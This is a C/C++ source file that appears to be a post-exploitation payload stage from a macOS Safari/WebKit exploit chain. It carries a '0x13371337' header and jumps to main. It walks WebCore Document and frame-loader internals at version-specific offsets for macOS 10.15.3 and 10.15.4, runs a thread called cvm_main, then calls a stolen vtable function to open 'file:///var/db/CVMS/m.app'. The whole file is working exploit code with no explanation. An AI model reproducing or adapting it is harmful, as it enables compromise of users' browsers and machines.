#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#define WEBCORE_EXPORT
#include "ResourceError.h"
#import <CoreFoundation/CFError.h>
#import <Foundation/Foundation.h>
#include <wtf/URLParser.h>
#import <wtf/BlockObjCExceptions.h>
#import <wtf/NeverDestroyed.h>

namespace WTF {
}

namespace WebCore {
	String getNSURLErrorDomain()
	{
	    static const NeverDestroyed<String> errorDomain(NSURLErrorDomain);
	    return errorDomain.get();
	}
}

using namespace WebCore;

class Client {
public:
};

class Document {
};

template<typename T>
class Wrapper {
public:
	void *a, *b, *type;
	T *wrapped;
};

__asm__(".quad 0x13371337, 0\njmp _main");

void *cvm_main(void *);

extern "C"
int main(int, char **args) {

	uint64_t document_addr = (uint64_t)((Wrapper<Document> *)args[0])->wrapped;

	char product[256] = {0};
	size_t strsize = sizeof(product);
	int ret = sysctlbyname("kern.osproductversion", product, &strsize, NULL, 0);

	// 10.15.4
	uint64_t frame_offset = 0x160;
	uint64_t loader_offset = 0x88;
	uint64_t vtable_offset = 0x138;
	if (!strcmp(product, "10.15.3")) {
		frame_offset = 0x1a0;
		loader_offset = 0x98;
		vtable_offset = 0x140;
	}

	uint64_t frame = (uint64_t)*(uint64_t*)(document_addr + frame_offset);
	uint64_t loaderptr = (uint64_t)*(uint64_t*)(frame + loader_offset);
	uint64_t clientuint = (uint64_t)*(uint64_t*)(loaderptr + 8);
	uint64_t clientvftable = (uint64_t)*(uint64_t*)clientuint;
	void* func_ptr = (void*)*(uint64_t*)(clientvftable + vtable_offset);
	Client* client = (Client*)clientuint;
	pthread_t thread;
	pthread_create(&thread, NULL, cvm_main, NULL);
	pthread_join(thread, NULL);

	char buf[0x400] = "file:///var/db/CVMS/m.app";

	ResourceError error(getNSURLErrorDomain(), -1101, {{}, buf}, "yee");

	typedef void (*t_dispatchDidFailProvisionalLoad)(Client *self, ResourceError &error, bool continueLoading);
	t_dispatchDidFailProvisionalLoad WebFrameLoaderClient_dispatchDidFailProvisionalLoad = (t_dispatchDidFailProvisionalLoad)func_ptr;

	WebFrameLoaderClient_dispatchDidFailProvisionalLoad(client, error, true);
	sleep(8);
	return 0;
}
